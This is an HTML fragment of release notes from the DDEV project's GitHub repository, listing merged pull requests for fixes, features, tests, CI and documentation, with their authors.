<li>refactor: remove Gitpod configuration and build infrastructure by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3524650181" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7716" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7716/hovercard" href="https://github.com/ddev/ddev/pull/7716">#7716</a></li>
<li>test: try to make TestMutagenSimple slightly more reliable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3536879176" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7732" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7732/hovercard" href="https://github.com/ddev/ddev/pull/7732">#7732</a></li>
<li>feat(debug): show web/db container logs on error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3537552248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7736" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7736/hovercard" href="https://github.com/ddev/ddev/pull/7736">#7736</a></li>
<li>feat(xdebug): add xdebug_info() to <code>ddev xdebug info</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3521122107" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7715" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7715/hovercard" href="https://github.com/ddev/ddev/issues/7715">#7715</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3530382931" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7721" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7721/hovercard" href="https://github.com/ddev/ddev/pull/7721">#7721</a></li>
<li>refactor: move <code>util.GetContainerUIDGid</code> to <code>dockerutil.GetContainerUser</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3537335599" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7734" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7734/hovercard" href="https://github.com/ddev/ddev/pull/7734">#7734</a></li>
<li>refactor: simplify db volume chown, use WarningOnce by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3537527103" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7735" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7735/hovercard" href="https://github.com/ddev/ddev/pull/7735">#7735</a></li>
<li>fix: don't output debug or verbose in middle of doing json by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3538113729" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7739" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7739/hovercard" href="https://github.com/ddev/ddev/pull/7739">#7739</a></li>
<li>feat(projectname): Allow defaulting to not setting name in config.yaml, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3442760295" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7648" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7648/hovercard" href="https://github.com/ddev/ddev/issues/7648">#7648</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3530266952" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7719" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7719/hovercard" href="https://github.com/ddev/ddev/pull/7719">#7719</a></li>
<li>ci(github-runner): use jlumbroso/free-disk-space action for cleanup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3541300597" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7744" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7744/hovercard" href="https://github.com/ddev/ddev/pull/7744">#7744</a></li>
<li>docs: Update postgres:18 in configuration documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3542901917" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7748" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7748/hovercard" href="https://github.com/ddev/ddev/pull/7748">#7748</a></li>
<li>style: add dark mode support for images/ddev-logo.svg by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3545565065" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7752" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7752/hovercard" href="https://github.com/ddev/ddev/pull/7752">#7752</a></li>
<li>fix: Add healthcheck to xhgui image to resolve TestCmdXhgui intermittent failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3541461422" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7745" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7745/hovercard" href="https://github.com/ddev/ddev/pull/7745">#7745</a></li>
<li>ci: run Linux tests separately, not in matrix by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3542209899" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7746" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7746/hovercard" href="https://github.com/ddev/ddev/pull/7746">#7746</a></li>
<li>feat(debug): show logs on error for all containers, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3537552248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7736" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7736/hovercard" href="https://github.com/ddev/ddev/pull/7736">#7736</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3544852702" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7751" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7751/hovercard" href="https://github.com/ddev/ddev/pull/7751">#7751</a></li>
<li>test: Fix TestConfigValidate for TYPO3 [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3544373647" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7750" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7750/hovercard" href="https://github.com/ddev/ddev/pull/7750">#7750</a></li>
<li>feat: enable non-interactive mode for CI or non-tty environments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3541024448" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7743" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7743/hovercard" href="https://github.com/ddev/ddev/pull/7743">#7743</a></li>
<li>test(apache-fpm): don't run tests with TYPO3, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3544373647" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7750" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7750/hovercard" href="https://github.com/ddev/ddev/pull/7750">#7750</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3548111606" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7755" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7755/hovercard" href="https://github.com/ddev/ddev/pull/7755">#7755</a></li>
<li>ci: sort golang imports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3548210416" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7756" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7756/hovercard" href="https://github.com/ddev/ddev/pull/7756">#7756</a></li>
<li>ci(pull-push-providers): don't load 1Password secrets if env is empty by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3548299986" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7757" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7757/hovercard" href="https://github.com/ddev/ddev/pull/7757">#7757</a></li>
<li>build(deps): bump actions/upload-artifact from 4 to 5 [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3557397387" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7767" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7767/hovercard" href="https://github.com/ddev/ddev/pull/7767">#7767</a></li>
<li>chore(provider): remove trailing whitespace in YAML files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RobLoach/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RobLoach">@RobLoach</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3562731610" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7770" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7770/hovercard" href="https://github.com/ddev/ddev/pull/7770">#7770</a></li>
<li>feat: use composer_root in cakephp, craftcms, laravel, magento2, shopware6, symfony for app type detection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vanWittlaer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vanWittlaer">@vanWittlaer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3352287272" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7558" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7558/hovercard" href="https://github.com/ddev/ddev/pull/7558">#7558</a></li>
<li>docs(docker-compose): improve mkcert install, how to add container user, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3510988124" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7709" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7709/hovercard" href="https://github.com/ddev/ddev/issues/7709">#7709</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3561208003" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7769" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7769/hovercard" href="https://github.com/ddev/ddev/pull/7769">#7769</a></li>
<li>docs: remove duplicate TYPO3 quickstart tab, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3552537945" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7763" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7763/hovercard" href="https://github.com/ddev/ddev/issues/7763">#7763</a> [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3552547226" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7764" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7764/hovercard" href="https://github.com/ddev/ddev/pull/7764">#7764</a></li>
<li>feat(describe): add ability to add custom info per service, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1966601560" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/5469" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/5469/hovercard" href="https://github.com/ddev/ddev/issues/5469">#5469</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3530868809" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7723" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7723/hovercard" href="https://github.com/ddev/ddev/pull/7723">#7723</a></li>
<li>docs: migrate Vite Setup documentation into DDEV docs, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3245718672" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7466" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7466/hovercard" href="https://github.com/ddev/ddev/issues/7466">#7466</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3419749017" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7625" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7625/hovercard" href="https://github.com/ddev/ddev/pull/7625">#7625</a></li>
<li>feat(upsun): use existing config instead of requiring environment variables [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3545696148" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7753" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7753/hovercard" href="https://github.com/ddev/ddev/pull/7753">#7753</a></li>
<li>docs(quickstart): Improve quickstarts to resolve problems with copy/paste by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3552907495" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7765" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7765/hovercard" href="https://github.com/ddev/ddev/pull/7765">#7765</a></li>
<li>fix: improve username sanitization and add fallback handling, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3538080538" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7738" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7738/hovercard" href="https://github.com/ddev/ddev/issues/7738">#7738</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3540967315" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7742" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7742/hovercard" href="https://github.com/ddev/ddev/pull/7742">#7742</a></li>
<li>feat(diagnose): ddev utility diagnose feature, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2449046299" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6461" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6461/hovercard" href="https://github.com/ddev/ddev/issues/6461">#6461</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3530377767" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7720" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7720/hovercard" href="https://github.com/ddev/ddev/pull/7720">#7720</a></li>
<li>docs: ignore drupal.org link 403'd by drupal [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572764587" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7772" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7772/hovercard" href="https://github.com/ddev/ddev/pull/7772">#7772</a></li>
<li>feat: add initial partial php8.5 support by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3488160347" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7697" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7697/hovercard" href="https://github.com/ddev/ddev/pull/7697">#7697</a></li>
<li>fix: use one.one.one.one to detect internet working by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572365705" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7771" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7771/hovercard" href="https://github.com/ddev/ddev/pull/7771">#7771</a></li>
<li>test: use testcommon.CopyGlobalDdevDir to fix intermittent failures in TestCmdXHGui by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3551132191" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7761" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7761/hovercard" href="https://github.com/ddev/ddev/pull/7761">#7761</a></li>
<li>fix(debug): display offline warning only on <code>ddev start</code>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572365705" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7771" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7771/hovercard" href="https://github.com/ddev/ddev/pull/7771">#7771</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3574835130" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7774" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7774/hovercard" href="https://github.com/ddev/ddev/pull/7774">#7774</a></li>
<li>fix(postgres): run as container user instead of uid 999 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3553862720" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7766" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7766/hovercard" href="https://github.com/ddev/ddev/pull/7766">#7766</a></li>
<li>feat: Add pre-share and post-share hooks, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1741512164" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/4962" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/4962/hovercard" href="https://github.com/ddev/ddev/issues/4962">#4962</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3575533921" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7777" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7777/hovercard" href="https://github.com/ddev/ddev/pull/7777">#7777</a></li>
<li>fix: add blackfire-php reconfiguration for older PHP versions, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3576230118" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev-platformsh/issues/142" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev-platformsh/issues/142/hovercard" href="https://github.com/ddev/ddev-platformsh/issues/142">ddev/ddev-platformsh#142</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3577886976" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7778" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7778/hovercard" href="https://github.com/ddev/ddev/pull/7778">#7778</a></li>
<li>fix(describe): show service info when project is stopped, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2955682508" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7159" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7159/hovercard" href="https://github.com/ddev/ddev/issues/7159">#7159</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3558374247" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7768" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7768/hovercard" href="https://github.com/ddev/ddev/pull/7768">#7768</a></li>
<li>build: bump docker-compose to v2.40.3, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3470383991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7678" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7678/hovercard" href="https://github.com/ddev/ddev/issues/7678">#7678</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3577898753" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7779" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7779/hovercard" href="https://github.com/ddev/ddev/pull/7779">#7779</a></li>
<li>docs: add crosslink for shortened DDEV env variables to full list, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3578440372" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7781" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7781/hovercard" href="https://github.com/ddev/ddev/issues/7781">#7781</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garvinhicking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garvinhicking">@garvinhicking</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3578442491" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7782" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7782/hovercard" href="https://github.com/ddev/ddev/pull/7782">#7782</a></li>
<li>test(quickstart): add disk cleanup before running tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3578684092" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7783" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7783/hovercard" href="https://github.com/ddev/ddev/pull/7783">#7783</a></li>
<li>build(docker): bump images to v1.24.9 for release by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3578172220" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7780" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7780/hovercard" href="https://github.com/ddev/ddev/pull/7780">#7780</a></li>
<li>docs(sponsor-banner): add link to sustainability article by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3582394761" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7788" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7788/hovercard" href="https://github.com/ddev/ddev/pull/7788">#7788</a></li>
<li>fix(self-upgrade): add docs for updating ddev package only, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3581678925" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7785" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7785/hovercard" href="https://github.com/ddev/ddev/issues/7785">#7785</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3582289589" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7787" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7787/hovercard" href="https://github.com/ddev/ddev/pull/7787">#7787</a></li>
